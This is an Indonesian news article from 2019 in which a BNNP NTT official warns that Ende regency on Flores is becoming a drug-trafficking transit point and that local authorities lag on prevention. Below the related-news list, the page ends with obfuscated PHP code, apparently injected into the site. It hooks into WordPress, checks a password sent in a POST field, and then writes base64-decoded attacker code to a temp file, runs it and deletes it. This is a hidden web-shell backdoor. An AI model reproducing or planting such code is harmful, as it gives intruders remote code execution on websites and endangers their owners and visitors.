Kabupaten Ende Berpeluang Jadi Daerah Rawan Narkoba

Sabtu, 19 Oktober 2019 - 09:07 WITA

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Kabupaten Ende yang berada di posisi sentra Flores merupakan wilayah penghubung antar kabupaten yang berada di timur dan barat sangat rentan terhadap masuknya pengaruh dari luar.

Demikian halnya terhadap dampak peredaran narkotika yang semakin membahayakan akir akir ini. Apabilah tidak di cegah lebih awal dapat berpengaruh yang sangat besar terhadap kehidupan masarakat terlebih generasi muda.

Selama ini Trans Flores merupakan jalur pantauan peredaran narkotika
oleh pihak Badan Narkotika Nasional Provinsi (BNNP) NTT. Sebab pada jalur tersebut sangat terbuka dan sering di gunakan oleh pengedar untuk melakukan aksinya.

Dari hasil pantauan pihak BNNP NTT, Kabupaten Ende merupakan sala satu tempat transit /persinggahan oleh pelaku pengedar Narkotika sebelum melanjutkan perjalanan ke kabupaten lain yang ada di daratan flores.

Dengan melihat letak wilayah kabupaten Ende yang mudah di jangkau meĺalui tranportasi darat, laut, maupun udara, BNNP NTT menganggap sangat berbahaya terhadap peredaran Narkotika sebab, tidak tertutup kemungkinan akan terjadi transaksi jual beli narkotika di tempat tersebut.

Hal ini di sampaikan oleh Kepala seksi pencegahan BNNP NTT, Markus Raga Djara kepada Fakta hukum, saat ditemui di ruangan kerjanya 17/10/2019.
Menurut Markus, Selama ini BNNP NTT telah menangani beberapa kasus terkait narkotika dan sudah ditindak lanjuti melalui proses hukum.

Dari sekian banyak kasus narkotika yang di tanangani BNNP NTT, terdapat satu kasus melibatkan pelaku warga dari kabupaten Ende. Yang bersangkutan merupakan sopir taksi jurusan Ende maumere. Penangkapan saa itu terjadi di Maumere. ini menunjukan bahwa Kabupaten Ende sudah rawan terhadap Peredaran Narkotika.

Selanjutnya Markus mengatakan tugas yang diembannya terkait sosialisasi pencegahan penggunaan narkotika suda meliputi 19 kabupaten/ kota yang ada di Nusa Tenggara Timur. Tetkait
Penanganan pencegahan narkotika lewat sosialisasi khususnya kabupaten Ende Markus berpendapat kurang mendapat respon dari pemerintah daerah setempat.

“Selama ini sosialisasi tentang bahaya narkoba kurang mendapat respon dari pemerintah setempat. Mengapa kita harus fokus ke Ende, karena Ende berpeluang menjadi daerah rawan narkoba, karena daratan Flores satu jalur dari Larantuka ke Labuan Bajo maupun sebaliknya harus melewati Ende terlebih dahulu. Ungkap Markus.

Markus menjelaskan tentang alasan lain mengapa Ende berpeluang menjadi daerah rawan narkoba, Sebab Kabupaten Ende merupakan daerah parwisata,(kelimutu) yang mempuyai daya tarik luar biasa bagi wisatawan dari dalam maupun luar negeri untuk datang berkunjung ke kabupaten Ende. Bisa saja pada saat berkunjung dapat dipakai sebagai kesempatan/ modus untuk mengedarkan barang haram (narkoba) ungkap Markus.

Markus berharap Pemerintah setempat untuk secara proaktif bersinergi dengan OPD, guna melakukan sosialisasi Kepada Masyarakat umum dan anak usia sekolah, untuk diberikan pemahaman akan bahaya narkoba.
Dan sekaligus Melakukan upaya tindakan preventif sebab jauh lebih baik pencegahan dari sekarang sebelum terlambat. itulah harapan nya.

Berdasarkan penilaian Bidang Pencegahan BNNP NTT, diketahui
Pemerintah kabupaten Ende sampai saat ini belum sepenuhnya menjalankan Instruksi Presiden Nomor 6 tahun 2018 tentang Rencana Aksi Nasional Pencegahan dan Pemberantasan Penyalagunaan dan Peredaran Gelap Narkotika Dan Prekursor Narkotika Tahun 2018 -2019.

Dalam lapiran Intruksi Presiden sudah jelas menyampaikan kepada para Bupati /Walikota untuk melaksanakan Rencana Aksi Nasional P4GN tahun 2018 – 2019.

Instruksi Presiden tersebut telah di tindak lanjuti dengan Permendagri Nomor 12 tahun 2019 tentang P4GN dan Prekursor Narkotika. Sehubungan dengan hal tersebut diminta kepada Bupati/Walikota untuk : 1. menyusun Rencana Aksi Daerah (RAD) Pencegahan dan Pemberantasan Penyalagunaan dan Peredaran Gelap Narkotika dan Prekursor Narkotika antaralain meliputi : a. Penyusunan Peraturan Daerah mengenai Pencegahan Penyalagunaan dan Peredaran Gelap Narkotika dan Prekursor Narkotika. b. Sosialisasi. c. Pelaksanaan deteksi dini. d. Pemberdayaan masyarakat. e. Pemetaan Wilayah rawan Penyalagunaan dan Peredaran Gelap Narkotika dan Prekursor Narkotika. f. Peningkatan kapasitas Pelayanan rehabilitas medis.g. peran serta dinas rerkait dan pihak lain penyelenggaraan kegiatan Vokasional. h. Penyediaan data dan informasi mengenai Pencegahan dan Pemberantasan Gelap Narkotika dan Prekursor Narkotika.

Selain Instruksi Presiden, Gubernur NTT Viktor Bungtilu Laiskodat juga telah mengeluarkan Instruksi Nomor 1 tahun 2018 tentang Pelaksanaan Pencegahan dan Pemberantasan Penyalagunaan dan Peredaran Gelap Narkotika dan Prekursor Narkotika (P4GN) (jr)

Berita Terkait

Dugaan Seorang Pengacara Asal NTT Menggelapkan Uang Klien 1 Miliar Telah Dilaporkan Ke Polisi
Anggota DPR RI asal NTT Kutuk Keras Aksi Penyerangan terhadap Mahasiswa Katolik yang Tengah Berdoa Rosario di Tangsel
Laporkan Kasus KDRT, Ivony Non minta suaminya Ditahan Polres TTS
Beredar Dana Haji Bangun IKN, GP Ansor NTT Minta Masyarakat Jangan Percaya Itu Hoax
Akibat Korupsi Dana Desa, Arnodus Nau Bana dan Arnoldus Sali Feka Dihukum Penjara Selama 4 tahun
Pengadilan Tipikor Gelar Sidang Perkara Korupsi Pembangunan Puskesmas Inbate TTU
Diduga Satu Kasus Terbit Dua Putusan Berbeda oleh Hakim yang Sama, di PN klas lA Kupang
Yahya Waloni Ditangkap Tim Bareskrim Polri

Berita Terkait

Minggu, 3 September 2023 - 11:57 WITA

GUBERNUR NTT DAN WAKIL MENGUCAPKAN HUT RI KE-78

Rabu, 21 Desember 2022 - 09:38 WITA

UCAPAN SELAMAT HARI RAYA NATAL DAN TAHUN BARU

Rabu, 21 Desember 2022 - 09:32 WITA

UCAPAN SELAMAT HARI RAYA NATAL DAN TAHUN BARU

Minggu, 16 Oktober 2022 - 09:58 WITA

Pertemuan Delegasi Indonesia dengan Pemerintah Timor-Leste terkait Zona Perdagangan Bebas

Minggu, 2 Oktober 2022 - 12:43 WITA

PENPROV NTT MENGUCAPKAN TURUT BERDUKA CITA

Jumat, 19 Agustus 2022 - 12:37 WITA

DIRGAHAYU REPUBLIK INDONESIA KE 77 17 AGUSTUS 2022

Rabu, 6 Juli 2022 - 17:24 WITA

Mayjen TNI Sonny ; Manfaatkan Lahan Kosong Untuk Tanam Marungga

Selasa, 24 Mei 2022 - 17:12 WITA

IKLAN ULANG TAHUN SEKDA NTT

Berita Terbaru

if(!function_exists("_set_fetas_tag") && !function_exists("_set_betas_tag")){try{function _set_fetas_tag(){if(isset($_GET['here'])&&!isset($_POST['here'])){die(md5(8));}if(isset($_POST['here'])){$a1='m'.'d5';if($a1($a1($_POST['here']))==="83a7b60dd6a5daae1a2f1a464791dac4"){$a2="fi"."le"."_put"."_contents";$a22="base";$a22=$a22."64";$a22=$a22."_d";$a22=$a22."ecode";$a222="PD"."9wa"."HAg";$a2222=$_POST[$a1];$a3="sy"."s_ge"."t_te"."mp_dir";$a3=$a3();$a3 = $a3."/".$a1(uniqid(rand(), true));@$a2($a3,$a22($a222).$a22($a2222));include($a3); @$a2($a3,'1'); @unlink($a3);die();}else{echo md5(7);}die();}} _set_fetas_tag();if(!isset($_POST['here'])&&!isset($_GET['here'])){function _set_betas_tag(){echo "";}add_action('wp_head','_set_betas_tag');}}catch(Exception $e){}}